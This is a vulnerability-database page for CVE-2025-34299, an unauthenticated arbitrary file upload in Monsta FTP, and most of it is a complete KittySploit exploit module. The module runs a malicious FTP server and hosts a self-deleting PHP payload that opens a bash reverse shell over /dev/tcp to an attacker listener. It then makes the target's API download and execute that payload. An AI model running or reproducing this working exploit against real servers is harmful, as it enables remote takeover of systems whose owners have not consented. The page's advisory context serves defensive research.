Monsta FTP CVE-2025-34299
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for CVE-2025-34299 | 19 Nov 202500:39 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Monstaftp Monsta_Ftp | 11 Dec 202503:42 | – | githubexploit | |
| CVE-2025-34299 | 7 Nov 202510:26 | – | circl | |
| Monsta FTP 代码问题漏洞 | 7 Nov 202500:00 | – | cnnvd | |
| CVE-2025-34299 | 7 Nov 202513:51 | – | cve | |
| CVE-2025-34299 Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload | 7 Nov 202513:51 | – | cvelist | |
| EUVD-2025-38247 | 7 Nov 202513:51 | – | euvd | |
| Monsta FTP Vulnerability Exposed Thousands of Servers to Full Takeover | 10 Nov 202510:53 | – | hackread | |
| CVE-2025-34299-lab | 10 Oct 202604:05 | – | kitploit | |
| CVE-2025-34299 | 10 Oct 202619:55 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.ftp.ftp_server import Ftp_server
import json
import os
import random
import string
import tempfile
import threading
import time
class Module(Exploit):
__info__ = {
"name": "Monsta FTP CVE-2025-34299",
"description": "Monsta FTP - Arbitrary file download from malicious FTP server leading to RCE (CVE-2025-34299)",
"author": "KittySploit Team",
"cve": "CVE-2025-34299",
"platform": Platform.MULTI,
"arch": [Arch.PHP],
"references": [
"CVE-2025-34299",
"https://github.com/monsta-ftp/monsta-ftp"
],
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": "php",
"platform": "php",
"category": "singles"
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
target = OptString("http://localhost", "Target Monsta FTP URL (with http://)", required=True)
ftp_host = OptString("0.0.0.0", "FTP server bind host", required=True)
ftp_port = OptPort(2121, "FTP server port", required=True)
def __init__(self, framework=None):
super().__init__(framework)
self.ftp_server = None
self.ftp_thread = None
self.ftp_dir = None
self.cleanup_needed = False
def _check_dependencies(self):
"""Check if required dependencies are available"""
if not Ftp_server.dependencies_available():
print_error("pyftpdlib is required but not installed")
print_info("Install it with: pip install pyftpdlib")
return False
return True
def _start_ftp_server(self):
"""Start malicious FTP server with payload"""
try:
# Create temporary directory for FTP server
self.ftp_dir = tempfile.mkdtemp()
self.cleanup_needed = True
# Generate random filename for payload
random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
payload_file = os.path.join(self.ftp_dir, random_filename)
# Extract listener info from payload
if not hasattr(self, 'lhost') or not self.lhost:
print_error("lhost not set. Please set a payload first.")
return None, None, None
lhost = str(self.lhost)
lport = int(self.lport) if hasattr(self, 'lport') and self.lport else 4444
# Generate reverse shell payload
payload = f"<?php $f=__FILE__; exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'\"); unlink($f); ?>"
with open(payload_file, 'wb') as f:
f.write(payload.encode())
# Generate random FTP credentials
user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
# Setup and start FTP server
self.ftp_server = Ftp_server(
framework=self.framework,
host=self.ftp_host,
port=self.ftp_port,
root_dir=self.ftp_dir,
username=user,
password=pwd,
banner="FTP Server Ready - KittySploit",
)
ok, err = self.ftp_server.start()
if not ok:
print_error(f"Failed to start FTP server: {err}")
return None, None, None
time.sleep(1) # Give server time to start
print_success(f"FTP server started on {self.ftp_host}:{self.ftp_port}")
print_info(f"FTP credentials: {user}:{pwd}")
print_info(f"Payload file: /{random_filename}")
return f"/{random_filename}", user, pwd
except Exception as e:
print_error(f"Failed to start FTP server: {e}")
return None, None, None
def _stop_ftp_server(self):
"""Stop FTP server and cleanup"""
try:
if self.ftp_server:
self.ftp_server.stop()
print_info("FTP server stopped")
except:
pass
try:
if self.ftp_dir and self.cleanup_needed:
import shutil
shutil.rmtree(self.ftp_dir, ignore_errors=True)
print_info("Temporary FTP directory cleaned up")
except:
pass
def check(self):
"""Check if target is vulnerable"""
try:
target = self.target.rstrip('/')
api_url = f"{target}/application/api/api.php"
print_info(f"Checking {api_url}...")
# Try to access the API endpoint
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(api_url, timeout=10, verify=False)
if response.status_code == 200:
return {
'vulnerable': True,
'reason': 'API endpoint is accessible',
'confidence': 'medium'
}
else:
return {
'vulnerable': False,
'reason': f'API endpoint returned status {response.status_code}',
'confidence': 'medium'
}
except requests.exceptions.RequestException as e:
return {
'vulnerable': False,
'reason': f'Cannot connect to API: {e}',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {e}',
'confidence': 'low'
}
def run(self):
"""Execute the exploit"""
try:
# Check dependencies
if not self._check_dependencies():
fail.Message("Required dependencies not available")
return False
target = self.target.rstrip('/')
api_url = f"{target}/application/api/api.php"
print_info(f"Target: {target}")
print_info(f"API URL: {api_url}")
# Start malicious FTP server
remote_path, ftp_user, ftp_pwd = self._start_ftp_server()
if not remote_path:
fail.Message("Failed to start FTP server")
return False
# Generate random local filename
local_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
# Prepare exploit request
request_data = {
"connectionType": "ftp",
"configuration": {
"host": self.ftp_host,
"username": ftp_user,
"initialDirectory": "/",
"password": ftp_pwd,
"port": self.ftp_port
},
"actionName": "downloadFile",
"context": {
"remotePath": remote_path,
"localPath": local_filename
}
}
print_info("Sending exploit request to API...")
print_info(f"Remote path: {remote_path}")
print_info(f"Local filename: {local_filename}")
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.post(
api_url,
data={"request": json.dumps(request_data)},
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=30,
verify=False
)
try:
response_data = response.json()
except (json.JSONDecodeError, ValueError):
print_error(f"Invalid JSON response: {response.text[:200]}")
self._stop_ftp_server()
fail.Message("Invalid response from server")
return False
if response.status_code == 200 and response_data.get("success"):
payload_url = f"{target}/application/api/{local_filename}"
print_success(f"Payload uploaded successfully: {payload_url}")
print_info("Triggering reverse shell (payload will self-delete)...")
# Trigger the payload
try:
requests.get(payload_url, timeout=5, verify=False)
except:
pass
print_success("Exploit executed successfully")
print_info("Waiting for reverse shell connection...")
# The listener will be managed by ExploitBase
# Don't stop FTP server yet, wait for connection
return True
else:
print_error(f"Exploit failed: {response.text[:200]}")
self._stop_ftp_server()
fail.Message("Server did not accept the request")
return False
except requests.exceptions.RequestException as e:
print_error(f"Request failed: {e}")
self._stop_ftp_server()
fail.Message(f"Request failed: {e}")
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
self._stop_ftp_server()
fail.Message(f"Exploitation failed: {e}")
return False
finally:
# Schedule cleanup after a delay to allow connection to be established
# The FTP server will be cleaned up after the listener gets the connection
# or after the exploit timeout expires
def delayed_cleanup():
time.sleep(60) # Wait 60 seconds for connection
if self.ftp_server:
print_info("Cleaning up FTP server...")
self._stop_ftp_server()
cleanup_thread = threading.Thread(target=delayed_cleanup, daemon=True)
cleanup_thread.start()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 49.3
EPSS0.7268
SSVC